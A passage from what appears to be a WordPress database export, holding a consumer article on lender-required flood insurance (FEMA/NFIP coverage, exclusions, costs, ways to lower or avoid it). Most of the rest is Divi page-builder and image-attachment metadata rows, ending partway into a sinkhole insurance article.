homeowners in high-risk areas and other participating communities.</p>\n<p>&nbsp;</p>\n<p>Why Lenders Require Flood Insurance</p>\n<p>The hazard insurance section of standard homeowners insurance policies does not cover flooding from external natural causes, like heavy rainstorms, or man-made ones, like a dam break. Only specifically named flood insurance, a separate insurance policy, can protect against that sort of destruction or damage.</p>\n<p>Flood insurance is usually optional for mortgaged homeowners in what are normally considered low-risk flood areas. It may even be optional for mortgaged homeowners in high-risk flood areas, depending on the type of loan. However, homeowners will be required to buy flood insurance if they take out a mortgage from a lender that is federally regulated or insured (such as an FHA mortgage) and buy a home in a high-risk flood zone (also known as a Special Flood Hazard Area).1 In most cases, the homeowner will have to pay for flood insurance every year until the mortgage is paid off.</p>\n<p>When someone takes out a mortgage, the home serves as collateral if the borrower stops making mortgage payments. When a property is financed, the lender often has a greater financial stake in the property than the borrower. If one of the lender&#8217;s assets is damaged by floodwaters and the borrower abandons the home and stops making mortgage payments, the lender is caught in a losing position. To eliminate this risk, many lenders require the homeowner to purchase flood insurance.</p>\n<p>Flood insurance will provide money to repair or even rebuild a home if it is damaged or destroyed by flooding. If the homeowner has to file a claim, he or she will only be responsible for paying the deductible. As a result, the homeowner will keep the home and keep making mortgage payments, and everyone will be happy.</p>\n<p>How Does Flood Insurance Work?</p>\n<p>Flood insurance works just like other insurance products. The insured—the homeowner—pays an annual premium based on the property&#8217;s flood risk and the deductible he or she chooses. If the property is damaged or destroyed by flooding, the homeowner receives cash for the amount of money required to repair the damage, up to the policy limit.</p>\n<p>The homeowner must secure the flood insurance policy before closing on a property and renew it every year to cover the principal balance on the loan. The lender will usually collect flood insurance payments along with the monthly mortgage payment, hold the funds in an escrow account, and pay the entire premium to the insurance company once a year (similar to how property taxes and homeowners insurance are handled). Thus, once the homeowner secures the initial policy, no further action may be needed aside from making monthly mortgage payments. Separate coverage of up to $100,000 for personal belongings is also available.<br />\n&nbsp;</p>\n<p>Who Has to Buy Flood Insurance?</p>\n<p>You can find out about the flood risk of any property at FloodSmart.gov or via the FEMA website map.2 If the website says the property is in a high-risk area, flood insurance will likely be required. The final decision depends on flood insurance rate maps and an official flood zone hazard determination. You should also ask your lender about its flood insurance requirements.</p>\n<p>In some neighborhoods or even entire cities, it may be difficult to find a home that is not in a high-risk flood area. In other regions, you can avoid the need to carry flood insurance entirely.<br />\n&nbsp;</p>\n<p>How to Obtain Flood Insurance</p>\n<p>The National Flood Insurance Program (NFIP), managed by FEMA, offers flood insurance to homeowners in communities that participate in the program.3 The program requires participating communities to &#8220;adopt and enforce ordinances that meet or exceed FEMA requirements to reduce the risk of flooding.&#8221; This program also offers a small discount on flood insurance based on the steps communities take to mitigate flood risks.</p>\n<p>The actual insurance policies are issued by private insurance companies, not by FEMA. You can find a participating insurance company on the FEMA website. Better yet, ask friends, family and co-workers in your town for recommendations.</p>\n<p>What Does Flood Insurance Cover?</p>\n<p>According to FEMA, the following items are considered part of the building&#8217;s structure:</p>\n<p>The insured building and its foundation<br />\nThe electrical and plumbing systems<br />\nCentral air conditioning equipment, furnaces, and water heaters<br />\nRefrigerators, cooking stoves, and built-in appliances such as dishwashers<br />\nPermanently installed carpeting over an unfinished floor<br />\nPermanently installed paneling, wallboard, bookcases, and cabinets<br />\nWindow blinds<br />\nDetached garages up to 10% of building property coverage (detached buildings other than garages require a separate building property policy)<br />\nDebris removal</p>\n<p>What Doesn&#8217;t Flood Insurance Cover?</p>\n<p>As specified by FEMA, lots of important and expensive things are not covered by flood insurance. You&#8217;ll have to purchase additional personal property coverage if you are worried about the cost of replacing the following items:</p>\n<p>Personal belongings such as clothing, furniture, and electronic equipment<br />\nCurtains<br />\nPortable and window air conditioners<br />\nPortable microwave ovens and portable dishwashers<br />\nCarpets not included in building coverage (see above)<br />\nClothes washers and dryers<br />\nFood freezers and the food in them<br />\nCertain valuable items, such as original artwork and furs (up to $2,500)</p>\n<p>Additionally, neither building nor personal property flood insurance will cover the following:</p>\n<p>Damage caused by moisture, mildew, or mold that could have been avoided by the property owner<br />\nCurrency, precious metals, and valuable papers such as stock certificates<br />\nProperty and belongings outside of a building such as trees, plants, wells, septic systems, walks, decks, patios, fences, seawalls, hot tubs, and swimming pools<br />\nLiving expenses, such as temporary housing<br />\nFinancial losses caused by business interruption or loss of use of insured property<br />\nMost self-propelled vehicles, such as cars, including their parts</p>\n<p>What Does Flood Insurance Cost?</p>\n<p>The cost to insure a property against flood damage is determined by risk associated factors such as the year of building construction, the number of floors, level of flood risk and the amount of coverage required by the lender. This amount should be based on the cost to rebuild, which can be obtained from your homeowners insurance company.</p>\n<p>The price to insure a property with a particular deductible and a particular amount of coverage will be the same no matter who you chose as your insurer because flood insurance premiums are government regulated. However, you do have some control over the cost of your policy because you can choose your deductible amount.</p>\n<p>To find out how much flood insurance will cost for your residence specifically, complete the flood risk profile on the FEMA website. 2Then, contact one of the participating insurance agents listed.4 The website only gives an approximate range of possible coverage costs. An insurance agent can give you an accurate quote. You can still get a quote even if you are just looking at the property and don&#8217;t have it under contract. In general, expect to pay at least a few hundred dollars for flood insurance.</p>\n<p>The maximum insurance amount allowed by law for an NFIP policy is $250,000 for the structure. Contents coverage is optional—it is not required by the lender—but it costs extra (and is limited to $100,000).<br />\n&nbsp;</p>\n<p>Evaluating the Cost of Flood Insurance</p>\n<p>Ranging from $500 to $1,300 a year, flood insurance is expensive and like other more common forms of insurance can make homeownership less affordable or even unaffordable for some people. Calculate whether you will be able to afford flood insurance for as long as you are required to have it before you commit to a property. If your flood insurance policy costs $1,000 a year and you take 30 years to pay your mortgage, that&#8217;s an additional $30,000 long-term cost to own that home.</p>\n<p>Some flood insurance companies will try to make you buy insurance for a maximum of $250,000, even if the lender doesn&#8217;t require this much coverage. If the principal amount of a loan is only $200,000 the extra coverage is not necessary. Look at the replacement value for your house as determined by your homeowners&#8217; insurance company. This is the full amount for which you need to purchase insurance. The insurance only needs to cover the value of the physical structure, not the land.</p>\n<p>Refinancing and Flood Insurance</p>\n<p>If you&#8217;re thinking about refinancing and you are not required to have flood insurance under your existing mortgage, see if your flood designation has changed. You may now be in a high-risk flood zone even if you weren&#8217;t before. It may not be worth it to refinance when you add the new cost of flood insurance.</p>\n<p>Finally, the maximum allowed coverage of $250,000 may not be sufficient to rebuild some properties. If your homeowners&#8217; insurance company says it will cost more than $250,000 to rebuild your property in the event of a total loss, be aware of the risk you are still subject to even with flood insurance coverage.</p>\n<p>Avoiding Lender-Required Flood Insurance</p>\n<p>There are several options for avoiding lender-required flood insurance (or at least lowering its cost), though they may not be feasible for everyone, especially those living in high-risk areas.</p>\n<p>&nbsp;<br />\nHomebuyers whose properties are located in a flood zone and who seek a federally backed mortgage, such as an FHA loan, are usually required to carry adequate flood insurance coverage to receive financing.</p>\n<p>Research</p>\n<p>Research before you buy: Find properties that aren&#8217;t located in flood-prone zones. Or, have a survey done (for around $1,500) to see if your specific property is elevated enough to not be in the flood area even if your community generally is. You may be able to get an exemption if you can prove that your property is not at high risk.</p>\n<p>Renovate</p>\n<p>There are several ways to mitigate the risks of flood damage, and thus the cost of your flood insurance. Homes with basements and crawlspaces suffer more from flooding; it might be worth filling them in and turning them into a solid foundation. Moving utilities from a basement to a ground-level shed also helps. So can retrofitting your home to elevate it above your area&#8217;s base flood elevation.</p>\n<p>Organize</p>\n<p>Organize your community and work with local government to do things to mitigate flood risk to the point where the area is no longer in a high-risk area—or at least, gets designated into a lower zone. Communities that do so often receive discounts from the NFIP.</p>\n<p>The Bottom Line</p>\n<p>Having to buy flood insurance shouldn&#8217;t be an ugly surprise when you&#8217;re purchasing or refinancing a house. Educating yourself now can help you understand when lenders require flood insurance, how to reduce its cost or, in some cases, even how to avoid it altogether.<br />\nYou can read the full article here.</p></div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(482,175,'_et_pb_truncate_post_date','2021-03-16 03:27:04'),(483,175,'_et_builder_version','VB|Divi|4.0.9'),(484,175,'_et_pb_show_page_creation','off'),(624,240,'_edit_last','1'),(623,240,'_et_pb_use_builder','on'),(489,195,'_edit_last','1'),(490,195,'_et_pb_post_hide_nav','default'),(491,195,'_et_pb_page_layout','et_right_sidebar'),(492,195,'_et_pb_side_nav','off'),(493,195,'_et_pb_use_builder','on'),(494,195,'_et_pb_built_for_post_type','page'),(495,195,'_et_pb_ab_subjects',''),(496,195,'_et_pb_enable_shortcode_tracking',''),(497,195,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"195\" /]'),(498,195,'_et_pb_custom_css',''),(499,195,'_et_pb_gutter_width','3'),(500,195,'_thumbnail_id',''),(501,195,'_et_pb_first_image',''),(502,195,'_et_pb_truncate_post',''),(503,195,'_et_pb_truncate_post_date',''),(504,195,'_et_builder_version','VB|Divi|4.0.9'),(505,195,'_et_pb_show_page_creation','off'),(506,200,'_edit_lock','1716179920:1'),(507,200,'_edit_last','1'),(508,200,'_et_pb_post_hide_nav','default'),(509,200,'_et_pb_page_layout','et_right_sidebar'),(510,200,'_et_pb_side_nav','off'),(511,200,'_et_pb_use_builder','on'),(512,200,'_et_pb_built_for_post_type','page'),(513,200,'_et_pb_ab_subjects',''),(514,200,'_et_pb_enable_shortcode_tracking',''),(515,200,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"200\" /]'),(516,200,'_et_pb_custom_css',''),(517,200,'_et_pb_gutter_width','3'),(518,200,'_thumbnail_id',''),(519,200,'_et_pb_first_image',''),(520,200,'_et_pb_truncate_post',''),(521,200,'_et_pb_truncate_post_date',''),(522,200,'_et_builder_version','VB|Divi|4.0.9'),(523,200,'_et_pb_show_page_creation','off'),(789,319,'_et_pb_side_nav','off'),(788,319,'_et_pb_page_layout','et_right_sidebar'),(787,319,'_et_pb_post_hide_nav','default'),(786,319,'_edit_last','1'),(785,319,'_et_pb_use_builder','on'),(784,319,'_edit_lock','1587772162:1'),(4970,1766,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:360;s:6:\"height\";i:360;s:4:\"file\";s:58:\"2021/06/50881518_620704215057327_2749901301444771840_n.jpg\";s:5:\"sizes\";a:4:{s:6:\"medium\";a:4:{s:4:\"file\";s:58:\"50881518_620704215057327_2749901301444771840_n-300x300.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:58:\"50881518_620704215057327_2749901301444771840_n-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:58:\"50881518_620704215057327_2749901301444771840_n-360x250.jpg\";s:5:\"width\";i:360;s:6:\"height\";i:250;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:58:\"50881518_620704215057327_2749901301444771840_n-360x284.jpg\";s:5:\"width\";i:360;s:6:\"height\";i:284;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(4969,1766,'_wp_attached_file','2021/06/50881518_620704215057327_2749901301444771840_n.jpg'),(773,309,'et_enqueued_post_fonts','a:2:{s:6:\"family\";a:1:{s:12:\"et-gf-roboto\";s:91:\"Roboto:100,100italic,300,300italic,regular,italic,500,500italic,700,700italic,900,900italic\";}s:6:\"subset\";a:2:{i:0;s:5:\"latin\";i:1;s:9:\"latin-ext\";}}'),(555,210,'_edit_lock','1582653475:1'),(556,210,'_edit_last','1'),(557,210,'_et_pb_post_hide_nav','default'),(558,210,'_et_pb_page_layout','et_right_sidebar'),(559,210,'_et_pb_side_nav','off'),(560,210,'_et_pb_use_builder','on'),(561,210,'_et_pb_built_for_post_type','page'),(562,210,'_et_pb_ab_subjects',''),(563,210,'_et_pb_enable_shortcode_tracking',''),(564,210,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"210\" /]'),(565,210,'_et_pb_custom_css',''),(566,210,'_et_pb_gutter_width','3'),(567,210,'_thumbnail_id',''),(568,210,'_et_pb_first_image',''),(569,210,'_et_pb_truncate_post',''),(570,210,'_et_pb_truncate_post_date',''),(571,210,'_et_builder_version','VB|Divi|4.0.9'),(572,210,'_et_pb_show_page_creation','off'),(622,240,'_edit_lock','1585083764:1'),(574,215,'_edit_lock','1582657148:1'),(575,215,'_et_pb_use_builder','on'),(576,215,'_edit_last','1'),(577,215,'_et_pb_post_hide_nav','default'),(578,215,'_et_pb_page_layout','et_right_sidebar'),(579,215,'_et_pb_side_nav','off'),(598,222,'_wp_attached_file','2020/02/My-Post-10.png'),(597,221,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:1199;s:6:\"height\";i:628;s:4:\"file\";s:21:\"2020/02/My-Post-9.png\";s:5:\"sizes\";a:12:{s:6:\"medium\";a:4:{s:4:\"file\";s:21:\"My-Post-9-300x157.png\";s:5:\"width\";i:300;s:6:\"height\";i:157;s:9:\"mime-type\";s:9:\"image/png\";}s:5:\"large\";a:4:{s:4:\"file\";s:22:\"My-Post-9-1024x536.png\";s:5:\"width\";i:1024;s:6:\"height\";i:536;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:21:\"My-Post-9-150x150.png\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:9:\"image/png\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:21:\"My-Post-9-768x402.png\";s:5:\"width\";i:768;s:6:\"height\";i:402;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:21:\"My-Post-9-400x250.png\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:9:\"image/png\";}s:31:\"et-pb-post-main-image-fullwidth\";a:4:{s:4:\"file\";s:22:\"My-Post-9-1080x628.png\";s:5:\"width\";i:1080;s:6:\"height\";i:628;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:21:\"My-Post-9-400x284.png\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:9:\"image/png\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:21:\"My-Post-9-510x382.png\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:9:\"image/png\";}s:28:\"et-pb-portfolio-image-single\";a:4:{s:4:\"file\";s:22:\"My-Post-9-1080x566.png\";s:5:\"width\";i:1080;s:6:\"height\";i:566;s:9:\"mime-type\";s:9:\"image/png\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:21:\"My-Post-9-400x516.png\";s:5:\"width\";i:400;s:6:\"height\";i:516;s:9:\"mime-type\";s:9:\"image/png\";}s:31:\"et-pb-image--responsive--tablet\";a:4:{s:4:\"file\";s:21:\"My-Post-9-980x513.png\";s:5:\"width\";i:980;s:6:\"height\";i:513;s:9:\"mime-type\";s:9:\"image/png\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:21:\"My-Post-9-480x251.png\";s:5:\"width\";i:480;s:6:\"height\";i:251;s:9:\"mime-type\";s:9:\"image/png\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(596,221,'_wp_attached_file','2020/02/My-Post-9.png'),(584,215,'_et_pb_built_for_post_type','page'),(585,215,'_et_pb_ab_subjects',''),(586,215,'_et_pb_enable_shortcode_tracking',''),(587,215,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"215\" /]'),(588,215,'_et_pb_custom_css',''),(589,215,'_et_pb_gutter_width','3'),(590,215,'_thumbnail_id',''),(591,215,'_et_pb_first_image',''),(592,215,'_et_pb_truncate_post',''),(593,215,'_et_pb_truncate_post_date',''),(594,215,'_et_builder_version','VB|Divi|4.0.9'),(595,215,'_et_pb_show_page_creation','off'),(599,222,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:1199;s:6:\"height\";i:628;s:4:\"file\";s:22:\"2020/02/My-Post-10.png\";s:5:\"sizes\";a:12:{s:6:\"medium\";a:4:{s:4:\"file\";s:22:\"My-Post-10-300x157.png\";s:5:\"width\";i:300;s:6:\"height\";i:157;s:9:\"mime-type\";s:9:\"image/png\";}s:5:\"large\";a:4:{s:4:\"file\";s:23:\"My-Post-10-1024x536.png\";s:5:\"width\";i:1024;s:6:\"height\";i:536;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:22:\"My-Post-10-150x150.png\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:9:\"image/png\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:22:\"My-Post-10-768x402.png\";s:5:\"width\";i:768;s:6:\"height\";i:402;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:22:\"My-Post-10-400x250.png\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:9:\"image/png\";}s:31:\"et-pb-post-main-image-fullwidth\";a:4:{s:4:\"file\";s:23:\"My-Post-10-1080x628.png\";s:5:\"width\";i:1080;s:6:\"height\";i:628;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:22:\"My-Post-10-400x284.png\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:9:\"image/png\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:22:\"My-Post-10-510x382.png\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:9:\"image/png\";}s:28:\"et-pb-portfolio-image-single\";a:4:{s:4:\"file\";s:23:\"My-Post-10-1080x566.png\";s:5:\"width\";i:1080;s:6:\"height\";i:566;s:9:\"mime-type\";s:9:\"image/png\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:22:\"My-Post-10-400x516.png\";s:5:\"width\";i:400;s:6:\"height\";i:516;s:9:\"mime-type\";s:9:\"image/png\";}s:31:\"et-pb-image--responsive--tablet\";a:4:{s:4:\"file\";s:22:\"My-Post-10-980x513.png\";s:5:\"width\";i:980;s:6:\"height\";i:513;s:9:\"mime-type\";s:9:\"image/png\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:22:\"My-Post-10-480x251.png\";s:5:\"width\";i:480;s:6:\"height\";i:251;s:9:\"mime-type\";s:9:\"image/png\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(600,229,'_wp_attached_file','2020/02/Untitled_Clipping_022620_035908_AM.jpg'),(601,229,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:1024;s:6:\"height\";i:683;s:4:\"file\";s:46:\"2020/02/Untitled_Clipping_022620_035908_AM.jpg\";s:5:\"sizes\";a:10:{s:6:\"medium\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_022620_035908_AM-300x200.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:200;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_022620_035908_AM-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_022620_035908_AM-768x512.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:512;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_022620_035908_AM-400x250.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:31:\"et-pb-post-main-image-fullwidth\";a:4:{s:4:\"file\";s:47:\"Untitled_Clipping_022620_035908_AM-1024x675.jpg\";s:5:\"width\";i:1024;s:6:\"height\";i:675;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_022620_035908_AM-400x284.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_022620_035908_AM-510x382.jpg\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_022620_035908_AM-400x516.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:516;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:31:\"et-pb-image--responsive--tablet\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_022620_035908_AM-980x654.jpg\";s:5:\"width\";i:980;s:6:\"height\";i:654;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_022620_035908_AM-480x320.jpg\";s:5:\"width\";i:480;s:6:\"height\";i:320;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(602,230,'_wp_attached_file','2020/02/Untitled_Clipping_022620_052318_AM.jpg'),(603,230,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:491;s:6:\"height\";i:273;s:4:\"file\";s:46:\"2020/02/Untitled_Clipping_022620_052318_AM.jpg\";s:5:\"sizes\";a:6:{s:6:\"medium\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_022620_052318_AM-300x167.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:167;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_022620_052318_AM-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_022620_052318_AM-400x250.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_022620_052318_AM-400x273.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:273;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_022620_052318_AM-400x273.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:273;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_022620_052318_AM-480x267.jpg\";s:5:\"width\";i:480;s:6:\"height\";i:267;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(604,233,'_edit_lock','1582677881:1'),(605,233,'_edit_last','1'),(606,233,'_et_pb_post_hide_nav','default'),(607,233,'_et_pb_page_layout','et_right_sidebar'),(608,233,'_et_pb_side_nav','off'),(609,233,'_et_pb_use_builder','on'),(610,233,'_et_pb_built_for_post_type','page'),(611,233,'_et_pb_ab_subjects',''),(612,233,'_et_pb_enable_shortcode_tracking',''),(613,233,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"233\" /]'),(614,233,'_et_pb_custom_css',''),(615,233,'_et_pb_gutter_width','3'),(616,233,'_thumbnail_id',''),(617,233,'_et_pb_first_image',''),(618,233,'_et_pb_truncate_post',''),(619,233,'_et_pb_truncate_post_date',''),(620,233,'_et_builder_version','VB|Divi|4.0.9'),(621,233,'_et_pb_show_page_creation','off'),(625,240,'_et_pb_post_hide_nav','default'),(626,240,'_et_pb_page_layout','et_right_sidebar'),(627,240,'_et_pb_side_nav','off'),(638,240,'_et_pb_first_image',''),(639,240,'_et_pb_truncate_post',''),(640,240,'_et_pb_truncate_post_date',''),(629,240,'_et_pb_built_for_post_type','page'),(630,240,'_et_pb_ab_subjects',''),(631,240,'_et_pb_enable_shortcode_tracking',''),(632,240,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"240\" /]'),(633,240,'_et_pb_custom_css',''),(634,240,'_et_pb_gutter_width','3'),(635,240,'_et_pb_light_text_color','#000000'),(636,240,'_et_pb_dark_text_color','#000000'),(637,240,'_thumbnail_id',''),(641,240,'_et_builder_version','VB|Divi|4.0.9'),(642,240,'_et_pb_show_page_creation','off'),(643,245,'_edit_lock','1585164504:1'),(644,245,'_edit_last','1'),(645,245,'_et_pb_post_hide_nav','default'),(646,245,'_et_pb_page_layout','et_right_sidebar'),(647,245,'_et_pb_side_nav','off'),(648,245,'_et_pb_use_builder','on'),(649,245,'_et_pb_built_for_post_type','page'),(650,245,'_et_pb_ab_subjects',''),(651,245,'_et_pb_enable_shortcode_tracking',''),(652,245,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"245\" /]'),(653,245,'_et_pb_custom_css',''),(654,245,'_et_pb_gutter_width','3'),(655,245,'_thumbnail_id',''),(656,245,'_et_pb_first_image',''),(657,245,'_et_pb_truncate_post',''),(658,245,'_et_pb_truncate_post_date',''),(659,245,'_et_builder_version','VB|Divi|4.0.9'),(660,245,'_et_pb_show_page_creation','off'),(661,251,'_edit_lock','1585162283:1'),(662,251,'_edit_last','1'),(663,251,'_et_pb_post_hide_nav','default'),(664,251,'_et_pb_page_layout','et_right_sidebar'),(665,251,'_et_pb_side_nav','off'),(666,251,'_et_pb_use_builder','on'),(667,251,'_et_pb_built_for_post_type','page'),(668,251,'_et_pb_ab_subjects',''),(669,251,'_et_pb_enable_shortcode_tracking',''),(670,251,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"251\" /]'),(671,251,'_et_pb_custom_css',''),(672,251,'_et_pb_gutter_width','3'),(673,251,'_thumbnail_id',''),(674,251,'_et_pb_first_image',''),(675,251,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_1 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_2\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_2  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_2  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">Are Sinkholes are covered by Insurance?</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_3\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_3  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_3  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\"><p> <br />\nImagine this: You’re leaving your house, ready to tackle the working day, only to discover a large, inexplicable hole where your car is supposed to be. <br />\nThat’s the thing about sinkholes. They’re just baffling. At first glance, sinkholes are nature’s slapstick: sudden, unpredictable, dramatic and absurd. But there’s a serious side, too – lives have been lost in sinkholes, and the U.S. Geological Survey estimates that sinkholes cause 